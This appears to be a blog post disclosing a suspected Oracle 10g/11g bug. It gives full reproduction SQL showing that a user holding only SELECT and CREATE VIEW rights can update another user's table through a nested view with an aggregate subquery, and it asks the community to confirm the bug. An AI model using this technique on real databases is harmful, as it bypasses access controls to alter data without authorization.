My collegue Daniel Ekberg (@dan_ekb) stumbled on a very strange issue the other day. After having tested it in three separate environments and on both 10g and 11g (11.2.0.1 and 11.2.0.2) we have resigned to believing that this may actually be a bug. If it is, it is a LARGE one. Essentially we can perform insert, update, and delete on a table on which we have only been given select rights. Yes, it sounds as if it really wouldn’t be that easy. All we need is select as and ability to create views. Here is the setup we use. First lets create the test users. As a DBA-user:

create user user1 identified by "test";
grant connect,resource to user1;

create user user2 identified by "test";
grant connect,resource,create view to user2;

As user user1 execute these commands

create table tbl1 (col1 number,col2 number,col3 varchar(30));
grant select on tbl1 to user2;
insert into tbl1 select 1,level+2,null from dual connect by level <=4; commit;
select * from tbl1;

That creates a table with three columns and adds for rows where the third column is null. As user user2 execute these commands

create view view1 as select * from user1.tbl1;
update view1 set col3='Whoops'; -- Will not work, not granted update.

create view view2 as 
select * 
  from view1 
 where (col1,col2) in (select max (col1)
                             ,col2 
                         from view1
                        group by col2);
update view2 set col3='Whoops'; -- This now works, why???
commit;
select * from user1.tbl1;

The first view is a plain select * on the table user1 created. We can of course not update this table. However, the second view is based on the first and it uses an aggregation in the where clause. This view is now somehow allowing the user to update the data even though the user has only been granted select on this table. Have you seen this? Is there a reasonable explanation? Is there a known fix? Setting up the user to not have resource but only create session does not change this, the same escalation of access occurs.

Please test the above in your environments and report on OS and version of database where you see this or if you find that it does not work as stated above in your environment. Our base assumption here is that we have encountered a bug that is a giant security hole, but we hope to find that we’re missing something. This is why we’re throwing this out in the community to get a review and see if we have lost our minds completely here.